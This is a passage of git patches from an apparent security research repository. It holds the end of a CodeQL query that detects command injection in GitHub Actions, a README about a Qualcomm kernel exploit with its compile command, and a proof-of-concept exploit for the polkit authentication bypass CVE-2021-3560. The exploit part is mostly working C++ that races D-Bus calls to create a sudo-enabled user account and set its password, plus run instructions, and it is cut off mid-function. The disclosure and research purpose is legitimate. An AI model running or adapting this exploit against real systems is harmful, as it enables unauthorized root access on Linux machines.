workflow.getJobs().lookup(jobId) } - - /** - * Gets the ID of this job, as a string. - * This is the job's key within the `jobs` mapping. - */ - string getId() { result = jobId } - - /** - * Gets the ID of this job, as a YAML scalar node. - * This is the job's key within the `jobs` mapping. - */ - YAMLString getIdNode() { workflow.getJobs().maps(result, this) } - - /** Gets the human-readable name of this job, if any, as a string. */ - string getName() { result = this.getNameNode().getValue() } - - /** Gets the human-readable name of this job, if any, as a YAML scalar node. */ - YAMLString getNameNode() { result = this.lookup("name") } - - /** Gets the step at the given index within this job. */ - Step getStep(int index) { result.getJob() = this and result.getIndex() = index } - - /** Gets the sequence of `steps` within this job. */ - YAMLSequence getSteps() { result = this.lookup("steps") } - - /** Gets the workflow this job belongs to. */ - Workflow getWorkflow() { result = workflow } - - /** Gets the value of the `if` field in this job, if any. */ - JobIf getIf() { result.getJob() = this } - } - - class JobIf extends YAMLNode, YAMLScalar { - Job job; - - JobIf() { - job.lookup("if") = this - } - - /** Gets the step this field belongs to. */ - Job getJob() { result = job } - } - - /** - * A step within an Actions job. - * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idsteps. - */ - class Step extends YAMLNode, YAMLMapping { - int index; - Job job; - - Step() { this = job.getSteps().getElement(index) } - - /** Gets the 0-based position of this step within the sequence of `steps`. */ - int getIndex() { result = index } - - /** Gets the job this step belongs to. */ - Job getJob() { result = job } - - /** Gets the value of the `uses` field in this step, if any. */ - Uses getUses() { result.getStep() = this } - - /** Gets the value of the `run` field in this step, if any. */ - Run getRun() { result.getStep() = this } - - /** Gets the value of the `if` field in this step, if any. */ - StepIf getIf() { result.getStep() = this } - } - - class StepIf extends YAMLNode, YAMLScalar { - Step step; - - StepIf() { - step.lookup("if") = this - } - - /** Gets the step this field belongs to. */ - Step getStep() { result = step } - } - - /** - * A `uses` field within an Actions job step, which references an action as a reusable unit of code. - * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsuses. - * - * For example: - * ``` - * uses: actions/checkout@v2 - * ``` - * TODO: Does not currently handle local repository references, e.g. `.github/actions/action-name`. - */ - class Uses extends YAMLNode, YAMLScalar { - Step step; - /** The owner of the repository where the Action comes from, e.g. `actions` in `actions/checkout@v2`. */ - string repositoryOwner; - /** The name of the repository where the Action comes from, e.g. `checkout` in `actions/checkout@v2`. */ - string repositoryName; - /** The version reference used when checking out the Action, e.g. `v2` in `actions/checkout@v2`. */ - string version; - - Uses() { - step.lookup("uses") = this and - // Simple regular expression to split up an Action reference `owner/repo@version` into its components. - exists(string regexp | regexp = "([^/]+)/([^/@]+)@(.+)" | - repositoryOwner = this.getValue().regexpCapture(regexp, 1) and - repositoryName = this.getValue().regexpCapture(regexp, 2) and - version = this.getValue().regexpCapture(regexp, 3) - ) - } - - /** Gets the step this field belongs to. */ - Step getStep() { result = step } - - /** Gets the owner and name of the repository where the Action comes from, e.g. `actions/checkout` in `actions/checkout@v2`. */ - string getGitHubRepository() { result = repositoryOwner + "/" + repositoryName } - - /** Gets the version reference used when checking out the Action, e.g. `v2` in `actions/checkout@v2`. */ - string getVersion() { result = version } - } - - class MappingOrSequenceOrScalar extends YAMLNode { - MappingOrSequenceOrScalar() { - this instanceof YAMLMapping - or - this instanceof YAMLSequence - or - this instanceof YAMLScalar - } - - YAMLNode getNode(string name) { - exists(YAMLMapping mapping | - mapping = this and - result = mapping.lookup(name) - ) - or - exists(YAMLSequence sequence, YAMLNode node | - sequence = this and - sequence.getAChildNode() = node and - node.eval().toString() = name and - result = node - ) - or - exists(YAMLScalar scalar | - scalar = this and - scalar.getValue() = name and - result = scalar - ) - } - - int getElementCount() { - exists(YAMLMapping mapping | - mapping = this and - result = mapping.getNumChild() / 2 - ) - or - exists(YAMLSequence sequence | - sequence = this and - result = sequence.getNumChild() - ) - or - exists(YAMLScalar scalar | - scalar = this and - result = 1 - ) - } - } - - class On extends YAMLNode, MappingOrSequenceOrScalar { - Workflow workflow; - - On() { workflow.lookup("on") = this } - - Workflow getWorkflow() { result = workflow } - } - - class With extends YAMLNode, YAMLMapping { - Step step; - - With() { step.lookup("with") = this } - - /** Gets the step this field belongs to. */ - Step getStep() { result = step } - } - - class Ref extends YAMLNode, YAMLString { - With with; - - Ref() { with.lookup("ref") = this } - - With getWith() { result = with } - } - - /** - * A `run` field within an Actions job step, which runs command-line programs using an operating system shell. - * See https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun. - */ - class Run extends YAMLNode, YAMLString { - Step step; - - Run() { step.lookup("run") = this } - - /** Gets the step that executes this `run` command. */ - Step getStep() { result = step } - - /** - * Holds if `${{ e }}` is a GitHub Actions expression evaluated within this `run` command. - * See https://docs.github.com/en/free-pro-team@latest/actions/reference/context-and-expression-syntax-for-github-actions. - */ - string getAReferencedExpression() { - // We use `regexpFind` to obtain *all* matches of `${{...}}`, - // not just the last (greedy match) or first (reluctant match). - // TODO: This only handles expression strings that refer to contexts. - // It does not handle operators within the expression. - result = - this.getValue().regexpFind("(?<=\\$\\{\\{\\s*)[A-Za-z0-9_\\.\\-]+(?=\\s*\\}\\})", _, _) - } - } -} - -// TODO: Cannot yet treat these as DataFlow::Nodes, because YAMLValue is inconvertible to Expr. -/** - * Holds if `child` is the qualified name of a GitHub Actions context nested as - * a property of the GitHub Actions context with qualified name `parent`. - * For example, `github.event.issue.body` is a child of `github.event.issue`. - */ -bindingset[child] -predicate nestedContext(string parent, string child) { - parent = child.regexpCapture("([A-Za-z0-9_\\.\\-]+)\\.[A-Za-z0-9_\\-]+", 1) -} - -bindingset[context] -private predicate isExternalUserControlledIssue(string context) { - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*issue\\s*\\.\\s*title\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*issue\\s*\\.\\s*body\\b") -} - -bindingset[context] -private predicate isExternalUserControlledPullRequest(string context) { - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*title\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*body\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*label\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*repo\\s*\\.\\s*default_branch\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*ref\\b") -} - -bindingset[context] -private predicate isExternalUserControlledReview(string context) { - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*review\\s*\\.\\s*body\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*review_comment\\s*\\.\\s*body\\b") -} - -bindingset[context] -private predicate isExternalUserControlledComment(string context) { - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*comment\\s*\\.\\s*body\\b") -} - -bindingset[context] -private predicate isExternalUserControlledGollum(string context) { - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pages(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*page_name\\b") -} - -/** - * Holds if `context` is a GitHub Actions context object containing values - * that may be controlled by an external user with public access to the repository. - */ -bindingset[context] -private predicate isExternalUserControlledCommit(string context) { - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*message\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*message\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*author\\s*\\.\\s*email\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*head_commit\\s*\\.\\s*author\\s*\\.\\s*name\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*author\\s*\\.\\s*email\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*commits(?:\\[[0-9]\\]|\\s*\\.\\s*\\*)+\\s*\\.\\s*author\\s*\\.\\s*name\\b") or - context.regexpMatch("\\bgithub\\s*\\.\\s*head_ref\\b") -} - -from Actions::Run run, string context, Actions::On on -where - run.getAReferencedExpression() = context and - run.getStep().getJob().getWorkflow().getOn() = on and ( - ( - exists(on.getNode("issues")) and - isExternalUserControlledIssue(context) - ) or - ( - exists(on.getNode("pull_request_target")) and - isExternalUserControlledPullRequest(context) - ) or - ( - (exists(on.getNode("pull_request_review_comment")) or exists(on.getNode("pull_request_review"))) and - isExternalUserControlledReview(context) - ) or - ( - (exists(on.getNode("issue_comment")) or exists(on.getNode("pull_request_target"))) and - isExternalUserControlledComment(context) - ) or - ( - exists(on.getNode("gollum")) and - isExternalUserControlledGollum(context) - ) or - ( - exists(on.getNode("pull_request_target")) and - isExternalUserControlledCommit(context) - ) - ) -select run, "Potential command injection from the " + context + " context, which may be controlled by an external user." From 98167ebb4eb5c9fcac29197a7374b2d8c465c852 Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Fri, 19 Mar 2021 15:11:05 -0700 Subject: [PATCH 032/140] Update CodeQL_Queries/actions/README.md --- CodeQL_Queries/actions/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CodeQL_Queries/actions/README.md b/CodeQL_Queries/actions/README.md index 675a2d2..ad5373c 100644 --- a/CodeQL_Queries/actions/README.md +++ b/CodeQL_Queries/actions/README.md @@ -1,2 +1,2 @@ -The querie were merged into [CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094). +The queries were merged into [CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094). Read more about the research on [https://securitylab.github.com/research/github-actions-untrusted-input](https://securitylab.github.com/research/github-actions-untrusted-input). From 627a6a25437a1f173845c346f968071789bf21ad Mon Sep 17 00:00:00 2001 From: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com> Date: Mon, 19 Apr 2021 20:15:50 +0200 Subject: [PATCH 033/140] Fix typo --- CodeQL_Queries/cpp/Chrome/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CodeQL_Queries/cpp/Chrome/README.md b/CodeQL_Queries/cpp/Chrome/README.md index b69e801..5a67fc1 100644 --- a/CodeQL_Queries/cpp/Chrome/README.md +++ b/CodeQL_Queries/cpp/Chrome/README.md @@ -12,7 +12,7 @@ The libraries in this repository are organized as follows: ### `commons.qll`: -Mostly contain general enchancements to the standard QL library and some Chromium specific, but still general material. For example, because the operators `->` and `=` are often overloaded in Chrome, this somehow upsets the usual `getQualifier` and `Assignment` in QL, so two general methods, `getQualifier` and `GeneralAssignment` are implemented to take these into account. Other useful predicates are `constructionCall` and `polyConstructionCall`, which identify all the constructor calls, as well as constructions via `make_unique` and `MakeRefCounted`. `make_unique` works fine in code search, but not `MakeRefCounted`. Neither will work on vanilla QL, where you just end inside the standard library. +Mostly contain general enhancements to the standard QL library and some Chromium specific, but still general material. For example, because the operators `->` and `=` are often overloaded in Chrome, this somehow upsets the usual `getQualifier` and `Assignment` in QL, so two general methods, `getQualifier` and `GeneralAssignment` are implemented to take these into account. Other useful predicates are `constructionCall` and `polyConstructionCall`, which identify all the constructor calls, as well as constructions via `make_unique` and `MakeRefCounted`. `make_unique` works fine in code search, but not `MakeRefCounted`. Neither will work on vanilla QL, where you just end inside the standard library. ### `collections.qll`: From 1106c5486b63539c399608e9bf9760391ef2b48d Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Fri, 7 May 2021 17:00:11 +0100 Subject: [PATCH 034/140] Update readme --- SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md index 71fea80..25cc65b 100644 --- a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md +++ b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md @@ -2,7 +2,11 @@ The write up can be found [here](https://securitylab.github.com/research/one_day_short_of_a_fullchain_android). This is a bug in the Qualcomm kgsl driver I reported in July 2020. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2020-375-kgsl). The bug can be used to gain arbitrary kernel code execution, read and write from the untrusted app domain. -The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXU3ATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit refers to that version of the firmware. For different models of phones, the macro `DMA_ADDRESS`, which indicates the address of the SWIOTLB buffer, will also need to be changed. +The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXU3ATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit refers to that version of the firmware. For different models of phones, the macro `DMA_ADDRESS`, which indicates the address of the SWIOTLB buffer, will also need to be changed. In the case where the race condition failed regularly, the macro `DELAY` can be adjusted, although the default value seem to work well on different models. It also requires the phone to have more than 4GB of total ram (not free memory), as it needs to be able to allocate ion buffers with addresses higher than 32 bit. Phones with 4GB of ram may be exploitable, although the ion heap spray parameter will need to change and even in that case, the exploit is unlikely to be reliable. I also received some feedback that the compiler and compile options affect the reliability. For reference, I used the following command to compile with clang in ndk-21: + +``` +android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang kgsl_exploit_slab_a71.c -o kgsl_exploit_stable +``` The exploit is reasonably reliable, although it does need to wait a few minutes after start up, after the kernel activities settled down before running. From f4ba866ba9909e22e0f8521964e8191b2e120237 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Mon, 17 May 2021 16:40:05 +0100 Subject: [PATCH 035/140] Underscores are apparently no longer allowed in pack names. --- CodeQL_Queries/cpp/Chrome/qlpack.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CodeQL_Queries/cpp/Chrome/qlpack.yml b/CodeQL_Queries/cpp/Chrome/qlpack.yml index 2c2b5a3..921fa4f 100644 --- a/CodeQL_Queries/cpp/Chrome/qlpack.yml +++ b/CodeQL_Queries/cpp/Chrome/qlpack.yml @@ -1,3 +1,3 @@ -name: chrome_ql +name: chrome-ql version: 0.0.0 libraryPathDependencies: codeql-cpp From bce1a1ef29a3f55f12d69467756cbe522d9b2696 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Fri, 25 Jun 2021 22:52:20 +0100 Subject: [PATCH 036/140] PoC for authentication bypass in polkit (CVE-2021-3560) --- .gitmodules | 3 + .../.gitignore | 1 + .../CMakeLists.txt | 36 ++ .../DBusParse | 1 + .../README.md | 70 +++ .../createuser.cpp | 416 ++++++++++++++++++ .../installpackage.cpp | 346 +++++++++++++++ 7 files changed, 873 insertions(+) create mode 100644 .gitmodules create mode 100644 SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/.gitignore create mode 100644 SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/CMakeLists.txt create mode 160000 SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse create mode 100644 SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/README.md create mode 100644 SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/createuser.cpp create mode 100644 SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/installpackage.cpp diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..497169b --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse"] + path = SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse + url = https://github.com/kevinbackhouse/DBusParse.git diff --git a/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/.gitignore b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/.gitignore new file mode 100644 index 0000000..378eac2 --- /dev/null +++ b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/.gitignore @@ -0,0 +1 @@ +build diff --git a/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/CMakeLists.txt b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/CMakeLists.txt new file mode 100644 index 0000000..c74375b --- /dev/null +++ b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/CMakeLists.txt @@ -0,0 +1,36 @@ +cmake_minimum_required(VERSION 3.10) + +enable_testing() + +# set the project name +project(GHSL-2021-074-polkit VERSION 1.0.0 DESCRIPTION "Proof of concept exploit for GHSL-2021-074: authentication bypass in polkit") + +# specify the C++ standard +set(CMAKE_CXX_STANDARD 17) +set(CMAKE_CXX_STANDARD_REQUIRED True) + +option(USE_SANITIZERS "Enable ASAN and UBSAN" OFF) + +add_compile_options(-Wall -Wextra -pedantic -Werror) + +if (USE_SANITIZERS) + set(SANITIZER_FLAGS "-fsanitize=address,undefined") + set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${SANITIZER_FLAGS}") + set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${SANITIZER_FLAGS}") + set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} ${SANITIZER_FLAGS}") + set(CMAKE_MODULE_LINKER_FLAGS "${CMAKE_MODULE_LINKER_FLAGS} ${SANITIZER_FLAGS}") +endif() + +add_subdirectory(DBusParse) + +add_executable(createuser createuser.cpp) +target_link_libraries(createuser PUBLIC DBusParse DBusParseUtils crypt) +target_include_directories( + createuser PRIVATE + $) + +add_executable(installpackage installpackage.cpp) +target_link_libraries(installpackage PUBLIC DBusParse DBusParseUtils crypt) +target_include_directories( + installpackage PRIVATE + $) diff --git a/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse new file mode 160000 index 0000000..0d28bdc --- /dev/null +++ b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse @@ -0,0 +1 @@ +Subproject commit 0d28bdc3ba1c6c4e69e125aa394eddd6edb7622f diff --git a/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/README.md b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/README.md new file mode 100644 index 0000000..8e3bc58 --- /dev/null +++ b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/README.md @@ -0,0 +1,70 @@ +# CVE-2021-3560 + +This directory contains a proof of concept exploit for CVE-2021-3560: +an authentication bypass vulnerability in +[polkit](https://gitlab.freedesktop.org/polkit/polkit). + +The vulnerability is described in [this blog +post](https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/). + +# Build + +Instructions for building the PoC: + +```bash +git submodule update --init # Download https://github.com/kevinbackhouse/DBusParse +mkdir build +cd build +cmake .. +make +``` + +# Running + +The PoC exploits an authentication bypass vulnerability in polkit +to create a new user account with `sudo` privileges. + +Note: if the PoC is run in a graphical session such as GNOME, then it +will cause the dialog box for the authentication agent to pop up +repeatedly, which is very annoying and also prevents the PoC from +working. That is why the first step in the instructions below is +`ssh localhost`. + +```bash +ssh localhost +cd build +./createuser /var/run/dbus/system_bus_socket boris iaminvincible! +``` + +Assuming that the PoC is successful, there should now be a user named +`boris`: + +```bash +$ id boris +uid=1008(boris) gid=1008(boris) groups=1008(boris),27(sudo) +``` + +You can now login as boris, using password "iaminvincible!": + +```bash +su - boris # password: iaminvincible! +``` + +And since `boris` is a member of the `sudo` group, you can now escalate +privileges to `root`. + +## Non-graphical systems + +The `createuser` PoC depends on two packages being installed: +`accountsservice` and `gnome-control-center`. Those packages might not +be installed on some systems, such as a non-graphical RHEL server. +However, the polkit vulnerability can also be used to exploit +[packagekit](https://packagekit.freedesktop.org/), which means that we +can use the vulnerability to install `accountsservice` and +`gnome-control-center`. + +You can run the `packagekit` PoC like this: + +```bash +./installpackage /var/run/dbus/system_bus_socket gnome-control-center +``` diff --git a/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/createuser.cpp b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/createuser.cpp new file mode 100644 index 0000000..67e54fc --- /dev/null +++ b/SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/createuser.cpp @@ -0,0 +1,416 @@ +#include "dbus_utils.hpp" +#include "dbus_auth.hpp" +#include "parse.hpp" +#include "utils.hpp" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// When we set the password, we also have to supply a hint. No privileges +// are required to ask for the password hint, so this is a useful way to +// check if we successfully set the password. (The hint will be an empty +// string if the password isn't set.) +static const char* passwordhint = "GoldenEye"; + +class DBusSocket : public AutoCloseFD { +public: + DBusSocket(const uid_t uid, const char* filename) : + AutoCloseFD(socket(AF_UNIX, SOCK_STREAM, 0)) + { + if (get() < 0) { + throw ErrorWithErrno("Could not create socket"); + } + + sockaddr_un address; + memset(&address, 0, sizeof(address)); + address.sun_family = AF_UNIX; + strcpy(address.sun_path, filename); + + if (connect(get(), (sockaddr*)(&address), sizeof(address)) < 0) { + throw ErrorWithErrno("Could not connect socket"); + } + + dbus_sendauth(uid, get()); + + dbus_send_hello(get()); + std::unique_ptr hello_reply1 = receive_dbus_message(get()); + std::string name = hello_reply1->getBody().getElement(0)->toString().getValue(); + std::unique_ptr hello_reply2 = receive_dbus_message(get()); + } +}; + +static std::string send_accountsservice_FindUserByName( + const int fd, + const char* username, + const uint32_t serialNumber +) { + dbus_method_call( + fd, + serialNumber, + DBusMessageBody::mk( + _vec>( + DBusObjectString::mk(_s(username)) + ) + ), + _s("/org/freedesktop/Accounts"), + _s("org.freedesktop.Accounts"), + _s("org.freedesktop.Accounts"), + _s("FindUserByName") + ); + + std::unique_ptr reply = receive_dbus_message(fd); + + if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) { + throw Error("FindUserByName returned an error."); + } + + return reply->getBody().getElement(0)->toPath().getValue(); +} + +// Check if an account with the given username already exists. +static std::string lookup_username( + const uid_t uid, + const char* filename, + const char* username +) { + DBusSocket fd(uid, filename); + return send_accountsservice_FindUserByName(fd.get(), username, 1001); +} + +static bool username_exists( + const uid_t uid, + const char* filename, + const char* username +) { + DBusSocket fd(uid, filename); + try { + send_accountsservice_FindUserByName(fd.get(), username, 1001); + } catch(Error&) { + return false; + } + return true; +} + +static void send_accountsservice_CreateUser( + const int fd, + const char* username, + const uint32_t serialNumber +) { + dbus_method_call( + fd, + serialNumber, + DBusMessageBody::mk( + _vec>( + DBusObjectString::mk(_s(username)), + DBusObjectString::mk(_s(username)), + DBusObjectInt32::mk(1) + ) + ), + _s("/org/freedesktop/Accounts"), + _s("org.freedesktop.Accounts"), + _s("org.freedesktop.Accounts"), + _s("CreateUser") + ); +} + +// Record the amount of time it takes to get a response from the +// CreateUser method. The response will be an error because +// it will be denied by polkit. This response time gives us an upper +// bound on how long we need to wait before disconnecting when we +// attempt to trigger the bug. +static long record_time_CreateUser( + const uid_t uid, const char* filename, const char* username +) { + DBusSocket fd(uid, filename); + + // Start a timer. + timespec starttime; + clock_gettime(CLOCK_MONOTONIC, &starttime); + + send_accountsservice_CreateUser(fd.get(), username, 1001); + receive_dbus_message(fd.get()); + + // Stop the timer. + timespec endtime; + clock_gettime(CLOCK_MONOTONIC, &endtime); + + // Calculate the time difference. + long diff = + (1000000000 * (endtime.tv_sec - starttime.tv_sec)) + + (endtime.tv_nsec - starttime.tv_nsec); + + return diff; +} + +// This function calls the CreateUser method, but doesn't wait for the +// reply. Instead it disconnects from D-Bus after the specified number of +// nanoseconds. If we get lucky with the timing of the delay, it will +// hopefully trigger the bug and bypass polkit. +static void attempt_CreateUser_with_disconnect( + const uid_t uid, + const char* filename, + const char* username, + const long delay +) { + DBusSocket fd(uid, filename); + + timespec duration; + duration.tv_sec = delay / 1000000000; + duration.tv_nsec = delay % 1000000000; + + send_accountsservice_CreateUser(fd.get(), username, 1001); + clock_nanosleep(CLOCK_MONOTONIC, 0, &duration, 0); + + // Returning from this function automatically disconnects us from D-Bus + // because DBusSocket's destructor closes the file descriptor. +} + +// Keep trying `attempt_CreateUser_with_disconnect` with different +// delay values until the exploit succeeds (or we decide to give up). +static std::string exploit_CreateUser( + const uid_t uid, + const char* filename, + const char* username +) { + // First measure how long a regular CreateUser method call takes. + const long elapsed = + record_time_CreateUser(uid, filename, username); + printf("Elapsed time: %ld nanoseconds\n", elapsed); + + // Random number generator which will generate random + // pause times in the range 0 .. 2*elapsed. + std::random_device rd; + std::mt19937 gen(rd()); + std::uniform_int_distribution distrib(0, 2*elapsed); + + // If it doesn't succeed after 1000 attempts then it probably + // isn't going to work. + for (size_t i = 0; i < 1000; i++) { + const long delay = distrib(gen); + attempt_CreateUser_with_disconnect(uid, filename, username, delay); + try { + // Check if the username has been created. + std::string userpath = lookup_username(uid, filename, username); + printf( + "Successfully created %s after %ld iterations,\n" + "with a delay value of %ld nanoseconds\n", + userpath.c_str(), i, delay + ); + return userpath; + } catch (Error&) { + // Keep going. + } + } + + throw Error("Failed to create new user account."); +} + +static void send_accountsservice_SetPassword( + const int fd, + const char* userpath, + const char* password, + const uint32_t serialNumber +) { + dbus_method_call( + fd, + serialNumber, + DBusMessageBody::mk( + _vec>( + DBusObjectString::mk(_s(password)), + DBusObjectString::mk(_s(passwordhint)) + ) + ), + _s(userpath), + _s("org.freedesktop.Accounts.User"), + _s("org.freedesktop.Accounts"), + _s("SetPassword") + ); +} + +// Useful for determining if we have successfully set the password. +// If the password is set, then the hint will be set too. +static std::string send_accountsservice_GetPasswordHint( + const int fd, + const char* userpath, + const uint32_t serialNumber +) { + dbus_method_call( + fd, + serialNumber, + DBusMessageBody::mk( + _vec>( + DBusObjectString::mk(_s("org.freedesktop.Accounts.User")), + DBusObjectString::mk(_s("PasswordHint")) + ) + ), + _s(userpath), + _s("org.freedesktop.DBus.Properties"), + _s("org.freedesktop.Accounts"), + _s("Get") + ); + + std::unique_ptr reply = receive_dbus_message(fd); + + if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) { + throw Error("GetPasswordHint returned an error."); + } + + return reply->getBody().getElement(0)->toVariant().getValue()->toString().getValue(); +} + +static bool has_passwordhint( + const uid_t uid, + const char* filename, + const char* userpath +) { + DBusSocket fd(uid, filename); + std::string hint = + send_accountsservice_GetPasswordHint(fd.get(), userpath, 1001); + return strcmp(hint.c_str(), passwordhint) == 0; +} + +// Record the amount of time it takes to get a response from the +// SetPassword method. The response will be an error because +// it will be denied by polkit. This response time gives us an upper +// bound on how long we need to wait before disconnecting when we +// attempt to trigger the bug. +static long record_time_SetPassword( + const uid_t uid, + const char* filename, + const char* userpath, + const char* password +) { + DBusSocket fd(uid, filename); + + // Start a timer. + timespec starttime; + clock_gettime(CLOCK_MONOTONIC, &starttime); + + send_accountsservice_SetPassword(fd.get(), userpath, password, 1001); + receive_dbus_message(fd.get()); + + // Stop the timer. + timespec endtime; + clock_gettime(CLOCK_MONOTONIC, &endtime); + + // Calculate the time difference. + long diff = + (1000000000 * (endtime.tv_sec - starttime.tv_sec)) + + (endtime.tv_nsec - starttime.tv_nsec); + + return diff; +} + +// This function calls the SetPassword method, but doesn't wait for the +// reply. Instead it disconnects from D-Bus after the specified number of +// nanoseconds. If we get lucky with the timing of the delay, it will +// hopefully trigger the bug and bypass polkit. +static void attempt_SetPassword_with_disconnect( + const uid_t uid, + const char* filename, + const char* userpath, + const char* password, + const long delay +) { + DBusSocket fd(uid, filename); + + timespec duration; + duration.tv_sec = delay / 1000000000; + duration.tv_nsec = delay % 1000000000; + + send_accountsservice_SetPassword(fd.get(), userpath, password, 1001); + clock_nanosleep(CLOCK_MONOTONIC, 0, &duration, 0); + + // Returning from this function automatically disconnects us from D-Bus + // because DBusSocket's destructor closes the file descriptor. +} + +// Keep trying `attempt_SetPassword_with_disconnect` with different +// delay values until the exploit succeeds (or we decide to give up). +static void exploit_SetPassword( + const uid_t uid, + const char* filename, + const char* userpath, + const char* password +) { + // First measure how long a regular SetPassword method call takes. + const long elapsed = + record_time_SetPassword(uid, filename, userpath, password); + printf("Elapsed time: %ld nanoseconds\n", elapsed); + + // Random number generator which will generate random + // pause times in the range 0 .. 2*elapsed. + std::random_device rd; + std::mt19937 gen(rd()); + std::uniform_int_distribution distrib(0, 2*elapsed); + + // If it doesn't succeed after 1000 attempts then it probably + // isn't going to work. + for (size_t i = 0; i < 1000; i++) { + const long delay = distrib(gen); + attempt_SetPassword_with_disconnect(uid, filename, userpath, password, delay); + if (has_passwordhint(uid, filename, userpath)) { + printf("Success!\n"); + return; + } + } + + throw Error("Failed to create new user account."); +} + +int main(int argc, char* argv[]) { + const char* progname = argc > 0 ? argv[0] : "a.out"; + if (argc != 4) { + fprintf( + stderr, + "usage: %s \n" + "example: %s /var/run/dbus/system_bus_socket boris iaminvincible\n", + progname, + progname + ); + return EXIT_FAILURE; + } + + const uid_t uid = getuid(); + const char* filename = argv[1]; + const char* username = argv[2]; + const char* passphrase = argv[3]; + + // Convert the passphrase to a hash. + char salt[CRYPT_GENSALT_OUTPUT_SIZE] = {}; + struct crypt_data cryptdata = {}; + crypt_gensalt_rn("$6$", 0, 0, 0, salt, sizeof(salt)); + crypt_r(passphrase, salt, &cryptdata); + 